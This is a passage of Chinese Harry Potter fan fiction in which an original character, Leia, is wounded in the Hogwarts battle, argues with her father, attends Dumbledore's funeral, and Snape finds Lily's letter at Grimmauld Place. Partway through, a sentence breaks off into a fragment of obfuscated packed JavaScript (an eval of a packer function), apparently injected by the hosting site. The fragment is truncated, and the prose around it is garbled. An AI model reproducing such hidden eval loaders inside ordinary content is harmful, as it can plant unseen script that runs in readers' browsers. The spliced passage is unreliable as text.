魔咒偏倚着从斯内普的肩侧擦开,还在往前走着的黑色背影稍稍顿了顿,侧过头用眼角懒洋洋地看黑发男孩一眼。 “钻心剜——”哈利显然被激怒了,撕心裂肺的愤懑声在少女的前方响起。 “不可以!哈利!你不能用——”蕾雅奋力喊着赶到哈利的后方,只见更远处的斯内普漠然地回过了身,抬手一挥,轻易地将哈利的魔咒消除了。接着,一记亮光从他的魔杖射出,将哈利按在了地上。 “我劝你别再用不可饶恕咒,波特。”斯内普的身影被那燃烧着火光显得高大了几分,黑袍翻滚得如同暗涌的惊澜怒涛,“你根本没有那种胆量和能力——” 斯内普勾了勾嘴角,牵出可怖的冷意,抬起漆黑魔杖指向痛苦地蜷缩在地上的哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蕾雅咬紧牙关怒吼的魔咒,带着决然的力量飞向敌人。食死徒却冷笑着轻松拨开她的进攻,这时,另一侧的食死徒也闻声而来,步步逼近。蕾雅咽了咽喉咙,根本不敢退缩。她的大脑飞快地制定出策略,手肘随之晃出轻快的弧线,是故意带出一个假动作,就在那两人提防着她魔咒而恍惚的分秒间——“清水如泉!!” 映着天穹的冷月清辉,一阵瀑布扑腾般的水流声轰然响起,狰狞的水柱从空气里嘶吼着腾跃而出。水柱宛如一条盘踞的苍龙,卷起磅礴的气流盘旋着扑灭场上的腾腾烈焰,也唤起了无法抵挡的巨浪将两侧的食死徒拍倒在地。 “我说了不要!!!”她叫喊的愤怒声变了调。 随着她的声音,水花朝各个方向猛烈地飞溅开,随即在草坪上灌下了一场滂沱的大雨。就在雨点还未来得及消弭的同时,她的魔杖再次挥起——“四分五裂!四分五裂!” 那两个倒地的食死徒被她的魔咒击飞数米,鲜血喷溅而出,混杂着雨水将土地染红。 蕾雅喘息着,淋了雨的伤口使她的身体开始微微打战。她深吸一口气,用手背将黏在伤口上的湿发轻轻拨到身后去,心跳声仿佛就在她耳边轰鸣。她的身后,更多的食死徒正围了过来。 “这丫头挺能干啊。上次在神秘司好像没见过她呢。”有一个女人尖锐的声音忽而响起,蕾雅即刻认出了那声音是在刚刚黑魔法防御课门口听到过的。 女人说话的须臾间,几道魔咒从四面八方直冲他们而来。蕾雅的防护咒没有办法抵挡住所有的攻击,淡白色的光芒在魔咒的骤雨里悄然消散了。她不得不用身体护住哈利,旋即,魔咒巨大的冲击力将她猛然掀飞,她踉跄地摔在几米后的冰冷地面上。她的左手臂猛地磕在地上,伴随着咯咯作响的骨裂声,剧烈的疼痛像毒蛇般瞬间沿着神经爬满她的全身。 疼—— 鲜血汩汩地沿着小臂淌到手腕,再滴滴答答地落在了草地上面。雨水、汗水、血液混杂在一起,将她全身浸透,衬衫上早已全是鲜红,分不清是她的鲜血,还是格兰芬多的大红。她几乎无法起身,视线里的一切开始渐渐褪色。 不远处,黑发巫师伫立在海格那焦黑的小屋前,面无表情地凝视着眼前的一切。他的目光始终放在蕾雅的身上,手里紧捏着的魔杖几近嵌入他的掌心,胸口传来的闷痛在逐渐收紧,像是快要扼住他的喉咙。最终,他只能艰难地移开视线,选择不去看她。 蕾雅咬着牙回过头去,身后的大块头食死徒就快走到他们跟前。她忍着痛蹒跚爬起,手腕颤抖到差点握不住魔杖。她朝自己身后的食死徒发出几道虚弱攻击,转身就望见另一个食死徒已经走到了哈利的身边。 “哈利!!!”蕾雅觉得自己的双腿已然脆弱到无法支撑自己的重量,她跪在地上,徒然地用尽全身最后一点力气举起魔杖,对准那个食死徒。 “不!”斯内普的低吼就如一声威慑的落雷,盖过了蕾雅的哭腔。他的胸膛正在剧烈起伏,语调更加阴森凌厉:“你们忘了主人的命令了吗?不能碰他。过来,撤退!” 几个食死徒立即退后,点着头服从了命令,转身扛起地上受伤的同伴朝大门方向走去。他们走过了站在阴影中的斯内普,随后消失在了禁林前。 “那个波特男孩不能动是有点可惜。”方才那个尖锐的女声再度响起,带着癫狂的笑意。她的魔杖像一把行//刑的尖刀指向蕾雅,杀气随之翻腾而起:“但是这个女孩——主人可没说不能动她,对吧?她伤了我们好几个人,我觉得最好别留什么后患,省得麻烦。” “确实如此。”斯内普的话语寒凉到刺入骨髓,他快速地抬起魔杖对着几米外的黑发少女。 蕾雅忍着快要撕碎意识的痛楚,难以置信地转头望向斯内普。他站得如此挺拔,黑眸冰冷而无情,整个人静默得没有一点颜色。从他身上,漫出来一种浩瀚深夜般的黑侵染了她,也夺去了她的呼吸。 对上他双眸的刹那,一阵刺痛感从她的太阳穴蔓延开来。 “我不得不。” 他的话在脑海里转瞬即逝。 下一刻—— “神锋无影。”男人声音没有一丝温度,平直到近乎绝望。 一记白光,魔咒顷刻间就穿透了蕾雅的左肩,她的身体失控地后仰着倒了下去,撞在坚硬的裸石上。 眼前掠过是大片混沌悲凉的天幕苍峦,胸前盛开出猩红的花,被缓缓浸没在无尽夜幕的黢黑长河中。 43. 挽歌 四周安静得出奇,但是好像有一双温暖的手正抚着自己的额头,拨开了那些沾着血污的头发。 蕾雅的脑袋很重,感觉自己的大脑里也许塞满了一千根针那样,刺痛到耳朵也开始嗡嗡作响。而且,她的左臂也麻木得仿佛是一块沉硬的石头,完全不像自己身体的一部分。她整个人都很难受,难受得像是溺水之后的缺氧,浑身都被一层黏腻窒息的水雾裹得紧紧的。 她下意识地想抬起手来,至少想换一个更舒服的姿势。 “别动,宝贝。”一把熟悉的声音在耳边响起。 蕾雅循声睁开沉重如铅的眼皮,在视线模糊中对上了一双布满血丝的眼睛,是雷格纳,疲倦而憔悴。 “爸……爸?”蕾雅的喉咙干涩,发出的声音沙哑得不像是自己的。她眨了眨眼睛,意识逐渐被唤醒,随后,疼痛感也清晰地袭来。 蕾雅皱着眉毛扫视了一圈,发现这里是霍格沃茨的医疗翼。不知道现在是什么时刻,但窗外的亮灿灿光线是明亮鲜艳的,正好照在她的被子一角。 周围的病床上躺了不少人,但蕾雅无法辨认那些模糊的身影。只看清楚了自己右侧病床上是在熟睡中的纳威,那张有些许圆的脸上全是杂乱的伤口,不过都已经结痂。 “口渴吗,宝贝?”莱恩哈特先生很重地叹了一口气,轻声问她:“要不要喝点水?” 蕾雅迟疑了一下,舔了舔确实有些干燥的嘴唇,微微点头,尝试支起身。雷格纳连忙探出手来扶住她,让她靠在了羽毛枕上面坐好。 随后,她接过父亲手里递过来的水杯,抿了一口,目光不自觉落在了自己的左手臂上。那里是层层叠叠缠满的绷带,好像隐约还渗出一些淡粉色的痕迹。 ——“我不得不。” ——“神锋无影。” 斯内普。 想起来发生了什么事的那瞬间,蕾雅就感觉自己的心脏开始抽抽地疼痛着。 她再次细细地看着自己的手臂,十分肯定斯内普没有对她用真正的神锋无影。因为如果是真的话,她现在大概已经流血身亡——除了反咒,没有一种治疗药可以治愈神锋无影造成的伤口。 所以,他是故意让身边的食死徒听见他使用了神锋无影的吗?他怎么能在那种情况下,还考虑到并且做到这一点? 蕾雅叹了一口气,目光重新落在父亲身上。 雷格纳的眼底是浓重的乌青,平时梳得整齐的金发现在是凌乱着垂下,身上也还穿着平时会去魔法部上班的装束,显然是从工作里直接来的。 她问道:“爸爸?你怎么会在这里?现在是什么时候了?” “我昨晚跟斯克林杰部长一起来的。已经第二天早上了,你睡了一晚。”雷格纳从她手里拿走了水杯,放回床头柜。 “昨晚?斯克林杰部长?”她有些迷惑。 “斯内普杀了邓布利多校长,就在昨晚。食死徒几乎把霍格沃茨翻了个底朝天。魔法部当然得来处理这么大的事。”雷格纳沉重地说道。 雷格纳此时的眼里有失望和愤怒的光,心里也烦躁得不行。他没想过让自己女儿呆在霍格沃茨竟然会经历这样的事。 他很坚信自己对斯内普那种第一直觉完全是正确的。邓布利多到底为什么信任斯内普?一个曾经的食死徒,又怎么可能真正地改邪归正?所谓的悔悟与赎罪,都只不过是毒蛇暂时蛰伏在暗处。一旦等到了合适的时机 刻在血液里那种与生俱来的毒就会再次涌现。 可偏偏,自己的女儿居然仰慕这个人。多可笑呐,身为一个父亲,他眼睁睁地看着女儿一步步靠近那个人,甚至不知道该怎么样去阻止。 “……这是他们的计划。”蕾雅怔怔地低声嘟哝着,垂下了头。 “你说什么?”雷格纳回过神来,橄榄绿色的眼睛泛出警觉的光,语气也随之变得凝重:“蕾雅,你是不是知道什么事?” 蕾雅心里一紧,连忙摇了摇头,声音有些颤抖地改口问道:“那,邓布利多校长的……” 她想问遗体的情况,但那几个字却哽在喉间,怎么也说不出口。 那一幕还明晰地刻在她的脑海里——她亲眼看着邓布利多坠落,为了保全他的躯体,她施展了减震咒。 雷格纳慢慢开口:“魔法部和麦格校长正在安排一场葬礼。就在这几天。我知道你会想去的,宝贝。” 蕾雅咬着嘴唇,点了点头:“嗯,我想去。” “但是,葬礼之后,你必须跟我回家。”雷格纳的语气变得强硬,几乎是下了命令,“我不会再允许你留在这里了。” 蕾雅猛然抬头,她不敢相信地盯着父亲的脸:“不允许再呆在这里?是什么意思?”她用力地摇了摇头:“不行!我得留在这里。” “留在这里?!”雷格纳的双眉一皱,神色阴沉得可怕,整张脸都因为生气而抽动着:“蕾雅,或许我在希腊的时候就该问清楚。到底是为了什么?告诉我,为什么你非要留在这里?为什么不惜把自己弄得全身是伤?就为了你幻想里的斯内普教授吗?” “你怎么知道……”蕾雅身体微微一僵,她没想到父亲竟然早已察觉了她的心思。 “上次我在的时候,我看到了你看他的眼神。”雷格纳有点难堪地压着嘴角开口,“爸爸我不是没有暗恋过别人。” 蕾雅张了张嘴,说不出话来。 雷格纳没有停下来,继续说道:“我告诉你,他是个杀人凶手。魔法部已经开始通缉他了,你留在这里没有任何意义,只会让我担心。” “通缉?”蕾雅惊讶地脱口而出,她从来没想过这两个字会被用在斯内普的身上。 是啊,他是杀死邓布利多的凶手,是杀死本世纪最伟大白巫师的罪人。 这是无法改变的事实,无论有多少冠冕堂皇的理由,也无法抹去他亲手将邓布利多从高塔上击落的这个动作。 很快,蕾雅的眼眶开始渐渐泛红,呼吸变得急促,本就钝痛的大脑愈发混乱。 “所以,如果你知道什么信息的话,现在必须告诉爸爸。”这位神秘司缄默人显然是察觉到了什么,压抑住怒气继续问她。 少女的身体轻轻抖了一下,豆大的泪珠开始汹涌不停地滴落下来,像断了弦的珠帘。它们打在她手臂的绷带上,迅速洇开,留下一个个潮湿暗黑的圆:“我不能告诉你、我不能说……” “如果你不肯说。”雷格纳猛然提高了音量,疲惫的脸上写满了怒意和失望:“我不会再容忍你这样胡闹。看看你把自己弄成了什么样?我连告诉你妈妈的勇气都没有!你是想彻底伤透我们的心吗?” 蕾雅从来没有见过雷格纳如此生气过,至少自己懂事以来没有。在记忆里,父亲总是那样的温柔且过度保护着自己,就是有时候自己一时的任性,他也都会去纵容她。 蕾雅把脸埋在自己的右手心里,几近破碎地呜咽着:“对不起……对不起,爸爸。对不起……我也不知道、不知道该怎么办……” 到底还是愿意护着自己的心肝宝贝,雷格纳的怒火在她的哭声中渐渐平息。他怔怔地凝视着自己的女儿颤抖而纤细的肩膀,心里的酸楚越来越多。他抿紧了唇,伸手用手臂环住她,让女儿靠着自己,语重心长地道:“那就跟我回家吧,宝贝。忘了他,他跟你想象中的完全不一样。” “他不是……”蕾雅把脸埋在自己父亲的衣服里,心脏的疼痛狠狠地盖过了身///体上的痛。她的眼泪流得凶狠,话语也被抽泣断得支零破碎:“他不是……” 雷格纳沉默了,他的眼里也蒙上了一层氤氲。 他知道,时间可以治愈一切,而自己的女儿,只是需要更多的时间。 雷格纳走后不久,赫敏就悄悄来探望了蕾雅。 赫敏身上也有一些细碎的擦伤,但看起来都已经被细心治疗过。 她轻轻地坐在蕾雅旁边,用担忧的眼神扫视了一遍蕾雅身上的伤口,尤其是脸颊上已经被纱布覆盖的地方。赫敏伸出手谨慎地碰了碰蕾雅的脸,低声嘀咕道:“哦天哪,你到底经历了什么啊?怎么伤成这样,这脸上会不会留疤?你的脸这么好看……” 蕾雅仍然处于跟雷格纳对话过后的迷惘里,还没来得及在意自己会不会留疤这件事。她微微晃了晃脑袋,漠然地说:“我不在意……” 赫敏叹了一口气,收回手,坐直了一些,开始细细地跟她说了在她昏迷前后发生在霍格沃茨的事。她提到受伤的人、提到斯内普的事情,以及人们对他的看法。 蕾雅听得出来,赫敏在很努力让声音保持平静,措辞也极度谨慎,似乎是在害怕从她口中说出的任何细节再次伤害到蕾雅。 “忘了他吧,蕾雅。”赫敏关切地看着好友,小声说道:“他不是一个好人,哈利说得对。” 蕾雅抬起头,短暂地与她对视一瞬,随即又垂下。那双平日清澈的瞳仁此时是一片暗淡的灰光。 “而且……”赫敏犹豫着,嘴角微微扯动,手轻轻搭在蕾雅没受伤的右手上,眉头紧紧拧成一团。 “别憋着了,直接说嘛。”蕾雅看得出,好友在斟酌着让接下来的话听起来没那么刺耳。 赫敏深深吸了一口气,直直地看着蕾雅仍然泛红的双眼:“而且,哈利爸爸妈妈之所以会死,都是因为斯内普。” 蕾雅错愕地瞪大了眼睛,“这是什么意思?” ——他如此深爱莉莉,怎么可能会害死她呢? “当时,特里劳妮教授在面试霍格沃茨职位的时候做出了一个预言。斯内普偷听了这个预言,并把它告诉了神秘人,后来就有了神秘人对哈利一家的追杀。”赫敏顿了顿,“斯内普找到了邓布利多,表现了自己深刻忏悔,大概也因此获得了邓布利多的信任——但我们现在都知道了,他彻头彻尾都不是邓布利多的人。” 蕾雅震惊地盯着赫敏的脸。 “哈利说,斯内普其实一直都没有真正地觉得自己抱歉,他不仅痛恨哈利的爸爸,也认为哈利的妈妈一文不值,因为她是个麻瓜。”赫敏补充道,随后有些神色复杂地注视着蕾雅。 ——不可能。他深爱她。他明明,深爱着她。 蕾雅的思绪很快就回到斯内普让自己看见的记忆片段里,那时候黑发男孩眼中的感情是那样真挚热烈,纯净得没有一点瑕疵,仿佛世界上最美好的初阳一样璀璨。 那种感情是虚假的? 他对邓布利多的忠诚也是虚假的吗? 有什么东西在蕾雅的内心深处崩塌了,巨大的轰鸣声正在她每一根血管里激起回声。高窗之外的耀眼艳阳在这一刻忽而变成了一种晦暗的熹微,一旁歪曲的墨绿色窗帘也成了狰狞恐怖的妖怪,就像是在嘲笑她的天真一样。 那到底什么才是真的? 可是斯内普明明,明明那么尽心竭力地为邓布利多奔走着啊?他还为邓布利多寻找了那么多的治疗方法,尝试了无数种的可能性——甚至,愿意为了拯救邓布利多而付出自己的生命。这些都是假的吗? 而且,他的手掌是那么的温暖,他一次次教会自己各种各样的事物,他的眼里也埋着沉重的挣扎和悲伤,还有他细微如尘埃的温柔——这些,也都不是真的吗? 蕾雅的心脏仿佛被狠狠地、狠狠地揪住。她不敢继续想下去,却又无法停止。 不对。不对。 但是反过来说……如果他的忏悔是真的。他这一生,岂不是都在赎罪之中? ——“我以为,西弗勒斯在很早以前就决定将自己的一生结束了。” ——“那他为什么还要做所有这些呢?我不理解……” ——“也许是为了赎罪,但我想,更多是为了爱。” 当时邓布利多的话浮现了起来,此时 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“那好吧。你先好好休息。”赫敏忧心忡忡地再次摸了摸她的额头,以极轻的力度拥抱过蕾雅,将她轻轻放回被窝里,细心地替她拉好被子。 “我先回去看看哈利怎么样了。” “嗯,谢谢你。”蕾雅应了句。 蕾雅侧过头,目光追随着赫敏的背影,直到她渐渐远去,消失在医疗翼的门后。接着,蕾雅缓缓闭上了眼睛。 有泪水无声地沿着她的脸颊滑落,渗进了枕头柔软的布料里,慢慢湿润,一片苍凉。 …… 葬礼的这天,是一个金光明媚的大晴天。 宽阔的苍穹上没有任何一丝云,天际是一种明艳的湛蓝色,太阳肆意而高傲,垂下的金辉无暇而安静,仿佛将整个霍格沃茨拢在一种慈爱的柔光里面。就像是,邓布利多亲自施展了一道辉光魔法一样,温暖沁透人心。 来了许许多多的人,也许有大半个巫师界那么多,他们都肃穆地坐在草坪上排列好的椅子里。不管是什么样的装束,什么样的打扮,每个人的脸上都是一种静默到悲伤的沉重,不时可以听到有低垂的哭泣声。 有各种各样的花,洁白的百合、大束的满天星、开得盛大的栀子花、还有清香的茉莉,在灿阳下密密麻麻地排列,簇拥着一张同样白到刺眼的大理石桌。 邓布利多的遗体安然躺在那里,被缀满星宿图案的紫色天鹅绒包裹着,远远看起来宛如是漫天的银河萦绕了他,将他显得那么瘦小、那么苍白。 蕾雅跟着格兰芬多的队伍一起坐到了湖岸边上的位置。她似乎是伤得最重的学生,手上还缠着绷带,左边脸颊上还贴着纱布,一路上不时吸引些许巫师的好奇目光。刚坐下,她就瞥见了自己的父亲,正穿着一身玄色西装,坐在魔法部的那一簇人里,表情凝重。 人鱼在黑湖里低声婉转地唱着哀歌,马人们立在禁林的边缘静静注目着。致辞完毕,一圈耀眼的白色火焰在空气里升腾了出来,火舌舔舐着花朵,将它们化为袅袅的白烟,一直飘到了禁林的方向。在那一瞬间,马人们的利箭纷纷扬扬破开空气,迎风擦过这些白烟,将它们消散在了霍格沃茨广阔的天空里。 最后,所有的一切都归于安宁,邓布利多与他的时代一同沉睡在这方白色的大理石坟墓里。 蕾雅全程都没有流泪,心里却沉闷得仿佛压着一块巨石,令她说不出话来。 等到了退场的时候,雷格纳跟着魔法部的人先行离开了,而蕾雅则和哈利他们久久坐在原地,没有动。 哈利似乎在低声与金妮交谈,赫敏则依旧在罗恩的怀里哭泣不止。蕾雅呆坐着,内心空白到让她感觉自己仿佛正在坠入悬崖,不知道接下来的世界会变成怎么样,也不知道接下来,他会怎么样。 她恹恹地扫视着四周,仿佛在看一场与己无关的戏一样。她看那些嚎哭的人,看那些匆匆离去的身影,看霍格沃茨还没有修好的屋顶,看笨重的古老大钟在循规蹈矩地数着时间。 远些,人鱼们早已躲回黑湖之底,马人也都回到森林深处,海格的小屋还是一片焦黑——而明明是灿烂的艳阳下,禁林却是一种接近荒芜的青灰,像是褪了色一样,单调静穆到宛如在为这场葬礼默哀。 然而,就在那片浓墨深黑里,她竟然望见了他。 迎着黑湖那泛着绚丽金辉的波光,男人倚在禁林里一棵老树的后面。 他谨慎地把自己藏在光芒无法触及的黑暗中,黑袍紧紧裹住他的身体,让他更好地与四周的阴霾融为了一体。 他已经在这里站了很久了,久到所有的人都离开,久到自己的双腿麻木到没有了任何知觉。 但就是这样,他可笑地发现,自己的心脏依然在有序地跳动,冰冷的手上依旧残留着微弱的温度,他无光的双眼,还会因太阳感到刺痛。 他久久地眺望着面前的一切,看着人群的聚集又散去,看着白色的烈焰升起又消弭。 就在意志快要彻底溃散的一瞬间,他望见有什么东西出现在黑湖层层的波纹上面。 带着湖面上渐渐扩开的涟漪与闪烁着的晴光,一只通体透明的银色小狮子轻快地朝他蹦跃过来。它悠然地跨过一整个黑湖,像是一种什么奇异现象一样,轻盈到仿佛不受任何的约束,踩出了一个个银白脚印,明亮得如同在盛夏里的星尘。 小狮子渐渐靠近了他,停在他的脚边,骄傲地扬起小脑袋,一脸期待地注视着面前这个阴郁的巫师。 斯内普木然地与小狮子对视了一阵,本来面无表情的脸上忽而浮现出微不可察的苦涩和自嘲,藏在黑袍里的手紧握成拳又松开。 终于,就在那银白光芒即将消弭的刹那,他还是放任自己伸出手,轻轻拂过那些看似柔软的毛。 44. 赤胆忠心 杀死邓布利多后,斯内普原以为会因抢了德拉科·马尔福的风头,而受到黑魔王的惩罚。出乎意料的是,惩罚并未到来,反而在上一次聚会上,黑魔王特意让他坐在最靠近自己的位置,其中的暗意不言而喻。 斯内普把自己投入到黑魔王指派的各种任务里面。在外人看来,这仿佛是斯内普在回应主人对他的赏识,但其实,只有他自己明白,他是在麻痹自己的灵魂。好像这样就能让自己不去在意那些向他求救、最终仍死在长桌上的人一样。 邓布利多死后,凤凰社撤离了格里莫广场12号,毕竟他们中间出现一个杀人的叛徒。而此时,这名“叛徒”就独自站在这座空荡荡的房子里。 斯内普在布满了灰尘的幽暗中巡视了一圈。看得出来,凤凰社走得相当很匆忙,每个房间都被翻得凌乱不堪,但是所有能追踪到成员线索的东西都被撤离,甚至连他曾经使用的魔药器具也消失了。斯内普可以肯定,这里不会再留下任何有价值的东西,但他仍然谨慎地一间间卧室仔细地搜寻着。 二楼的是西里斯·布莱克的卧室,推开门的那一刻,熟悉的厌恶感立刻让他背脊一凉。 过分华丽的刺绣地毯上全是散落的书籍和报纸,红木雕花大床上堆着一团团混乱的衣物布料,抽屉都被悉数打开,里面躺满了零零碎碎的各样收藏品。 还有银色的缎面墙上,斯内普飞快地扫视一眼,旋即一股恶寒就从胃里翻了出来。是几张穿着比基尼的麻瓜女孩海报,着着实让他产生了生理性不适,这是连刚才门口的邓布利多和穆迪惊悚的结舌咒鬼魂都没能达到的程度。 没想到,布莱克竟然有这种嗜好,真是无可救药。 可惜,他并不想知道。斯内普不屑地收回了视线,走向房间内唯一紧闭的衣橱,伸手拉开柜门。 里面放着的不是衣服,而是杂乱的书刊、杂志,还有不少本魔法书籍,凌乱得可以说是极具布莱克特色。斯内普烦躁地将这些书一本一本检查着,确保它们不会夹杂任何能够追踪到凤凰社成员的线索后,便随手将它们扔在地上。 直至,他的手伸向了巴希达·巴沙特所著的《魔法史》。 他知道这位巴沙特,她当时就住在波特一家旁边。在波特一家的事故发生后,斯内普曾去拜访过这位老太太,他说自己是莉莉的好友,悲痛地听她絮絮叨叨那一晚的细节。之后,为了避免暴露自己,斯内普毫不留情地对她使用了遗忘咒。 此时,这个名字就像是警示,让他狠狠地记起那个时候作过的恶。他自嘲地扯了扯嘴角,有些自暴自弃般翻开书,就在那里,一封信倏地被抖落了出来。 斯内普弯腰捡起这封信,只一眼,男人的呼吸就像是被静止住了。 ——是莉莉·波特写给西里斯·布莱克的信,还有一张照片,波特一家在照片里欢喜地庆祝着哈利第一次骑小扫帚。 斯内普压着嘴角开始阅读。 “谢谢你西里斯,谢谢你送给哈利的生日礼物!他特别喜欢。” “关在这里的詹姆有点发闷,虽然他没有表现出来,可我看出来了。” “老巴希达老是会说邓布利多的故事。但是说实在的,我不敢相信……” 斯内普翻过第二页:“邓布利多会和黑巫师格林德沃交朋友。” 是莉莉的声音,好像就在耳边为他读信。 那么近,那么远。她的音容笑貌一点点随着这些鲜艳明亮的文字流淌了出来。 斯内普机械式地看了一遍又一遍。 等回过神来时,他猛然跪倒在地板上,膝盖撞击坚硬的地面,发出低落沉闷的声响。但是很奇怪,膝盖一点都不疼,撞击倒像是敲在了他长久麻木的心脏上,许多炙热、滚烫的东西砰的一声爆发了,纷纷流淌进了胸腔里面,炽伤了他。 他心疼得双手颤抖,几乎无法拿稳手上的信纸。 他如同个虔诚忏悔的罪人一样跪在地上,手指不自觉地在莉莉亲手于落款处写下的“Love”上一次次摩挲着。他的视线变得水雾一片,整个人也难受到快要溺水那样,连吸进去的空气也变成了冰冷彻骨的液体。 是自己,夺走了她本该幸福温暖的一生。无论他之后做了多少努力,多少悔恨,永永远远都不能洗净这份沉重的罪孽。 更不用说,他一直严格遵循着邓布利多的计划,一切都是为了她,为了保护她的儿子。可正是这个最令人敬仰、看似高尚无私的白巫师,在他为保护那个男孩整整十七年之后,命令那个男孩去死。 一切皆徒劳。 一切皆徒劳。 是啊,更不用说,那个男孩在得知这一切后,真的会有勇气直面自己的死亡吗? 不对,或者更应该问,那个男孩真的能走到那个最终的时刻吗?如果他不能,那这么多人的努力——又该如何呢? 斯内普的思绪杂乱得像一团纠缠不清的麻线,里面掺杂着痛苦、无奈、悔恨、还有担忧。是有关于莉莉,有关于波特,有关于邓布利多的东西,也许还有、还有更多……! 他是如此的无力、如此的茫然。有那么一瞬,他真的觉得这些年来做的这一切都是一个错误的笑话,荒诞到倒不如真的死在十七年前。 他哭得悄无声息,但泪水是那样的响彻心扉。直到他的眼泪不小心浸湿在发黄的信纸里,他才匆忙将信纸移开。 良久,斯内普坐在布莱克的床上,扶着额头看一地的狼藉。 此时,他发现比起对莉莉的感情,他现在更担心放在哈利·波特身上的豪赌。邓布利多已死,他必须独自承担这份责任,保证这个几近不可能的计划能顺利执行——保证,这么多年来,这么多人的努力不会付诸东流。 斯内普抬起头来环视了一圈这间房子,确认过赤胆忠心咒仍然生效。他知道虽然保密人邓布利多已经逝去,但是包括自己,所有知道这座房子的凤凰社成员都不会泄露秘密。 那么,接下来,波特应该会按照邓布利多安排的去寻找魂器,未来在某个时刻,或许会回到这栋房子。他可能会害怕,甚至因为无望而绝望。 斯内普顿了顿,意识到自己必须留给波特一些能够坚持下去的提示。斯内普快速地盘算起来,以他对波特的理解,这并不难。 比如说,强烈的情感,莉莉对波特的爱。他可以提示那个男孩,“想想你的母亲”。 比如说,强烈的恨意,波特对黑魔王、对食死徒、对自己的。他可以提示那个男孩,“想想是谁打碎了你们一家”。 黑发巫师倏地站了起身,将被他眼泪打湿的那一页收进黑袍里,他不想让男孩看见自己眼泪的同时,也不希望男孩看见任何有关邓布利多与格林德沃的不好传言而产生信任感动摇。 斯内普将剩余的信放在地毯上的书堆里,确保它足够显眼,而后,他毫不犹豫地将照片撕成两半,将刻有哈利和詹姆的那半扔进隐蔽的柜子下。他十分确定,那封残缺的信足以激起男孩的好奇心,让他翻遍整个房间。 虽然斯内普明白,留下与莉莉有关的物品多少出于私心,但他相信,当哈利发现照片只剩一半时,对破坏他一切的食死徒产生的强烈恨意会帮助他继续前行。 如此便好。这些情绪可以帮助男孩继续面对接下来的荆棘。 在离开格里莫广场之前,斯内普随手拿走了几件能回去交代任务的“战利品”,再次确认这栋房子所有的保护咒语都依然保持完好之后,他走出大门,在外面加了一道只有哈利·波特才能进入的屏障。 做完了这些,他将过分多的情绪狠狠压下,恢复了脸上那种一如既往的苍白冷峻。 他目如死色,漠然地拐进格里莫广场一侧的阴森小巷,沿着狭窄的空间一直走下去,那里有一个毫不起眼的废旧电话亭,是通往魔法部。 …… 邓布利多的葬礼后,蕾雅去了几次格里莫广场给卢平熬狼毒药剂。但是很快,布莱克和凤凰社就坚定地做出撤出格里莫广场的决定,蕾雅把斯内普在格里莫广场一直用魔药器皿带回自己家,之后的药水将会由莱恩哈特家的猫头鹰送到卢平父母的住处。 接下来的每一天,都比前一天更加糟糕。 奥德莉亚在这个学期初就调职去了希腊,雷格纳回家也越来越晚,脸上一直挂着沉重到随时可以崩溃的情绪。 蕾雅不敢再给父亲增加烦恼,一个月以来,除了到街口的麻瓜超市购置日用品以外,她差不多都呆在家里。她在家里练习着魔药,弹着钢琴,读着雷格纳的藏书。每天五点一过,蕾雅会开始准备两人份的晚餐,然后一直等着父亲从壁炉里回来。 晚餐时,雷格纳偶尔会提及外面发生的事,但是只有很细微的片段。 晚上睡觉前,蕾雅会忍不住将塞在床头柜里的细长玻璃瓶拿出来看一眼,用拇指摩擦过那个用苍劲笔锋写着“西弗勒斯·斯内普”的标签。 这种日复一日的生活单调到没有尽头,蕾雅时不时觉得,也许黑魔王的统治已笼罩整个魔法界,而她依然什么也做不了,连能不能回霍格沃茨也是个未知数。 今天的晚餐是黑胡椒小羊排搭配着烤芦笋、黄油土豆。厨房里弥漫开来黄油的香气和黑胡椒的辛香气息,让本来阴郁的心情稍稍褪下。正当她煎着最后一块羊排时,窗外忽而开始下雨。蕾雅轻快地用魔杖指挥着锅里的食物翻面,又朝向二楼,把敞开的窗户都关上。 等到她把两份晚餐摆在餐桌上时,雨敲打在窗户上面发出更为密集的噼啪声音。 蕾雅抬起头去看向窗外,天色如墨,整个世界融化成了一抹模糊的灰褐色。莱恩哈特家庭院里盛开着的绣球花被纷纷碾碎花瓣,花瓣落在了土壤里面,随后被泥泞的湍急水流挟裹着冲向外侧的沥青路面。 雨下得越来越大,那种随着夏日大雨而来的厚重沉闷感,慢慢地扩散至室内的每一个角落。蕾雅坐在沙发上,一边读着一本古代魔法书,一边等待着父亲从壁炉里现身。但是一直到了夜里十一点,雷格纳也没有回来。 晚餐早已被她施过几次保温咒,蕾雅随意翻出几包饼干填饱肚子,却再也看不进书,焦虑地在壁炉和门口之间来回踱步。 等到午夜的时候,蕾雅开始忍不住胡思乱想,她想到父亲可能出事了,也许是魔法部也出事了。她晃了晃脑袋,很想拿起一把飞路粉钻进壁炉里去魔法部看一看,但经历过与食死徒的战斗以后她就明白了这无疑是送死行为。 最后,她只能继续在客厅里踱来踱去,没有任何的事情得事情能够分散她的注意力。她就那么一直走,一直走,直到双腿变得又酸又涩。 就在时钟的指针越过了一点,蕾雅感觉自己也快要淹死在这滂沱的雨声里的时候,门口突兀地响起了幻影移形的爆裂声。 蕾雅被吓了一跳,缓过神来时,迅速熄灭了家里的灯光,捏着魔杖悄悄靠在大门旁的墙壁上。 旋即,几声敲门声响在了雨里。她屏住了呼吸,不知道该不该去应门。 叩击声又响了起来,更为急促了一些。就在这一刻,蕾雅的眼睛不由得瞪大,难以置信地望向门口的方向。 “莱恩哈特,快点开门。” 是斯内普的声音,她再熟悉不过。 “教授?!”蕾雅的眼睛亮了一瞬,疑惑着将门拉开了一条缝,与此同时,空气中立刻涌入一股浓烈的血腥味和泥土的腥臭。蕾雅的心跳漏了一拍,瞬间将门直接推开,整个人立即扑到了斯内普扶着的男人旁边,“爸爸?!!爸爸!!!” 斯内普满身湿透,脸色铁青,黑袍沉甸甸地贴在他的身上,雨水顺着他的下颌滴落。而他手里扶着的,正是她同样湿透的父亲。 雷格纳浑身上下都是大片的殷红,是血迹被大雨冲开的结果。他双眼紧闭,一张脸苍白得如纸,整个人都在不住地打着寒战,嘴巴也一直在哆嗦,像是梦呓里撞见了森森白骨的骷髅。 “快点让开,然后把门锁上。”斯内普冷静而快速地朝她低声说道。 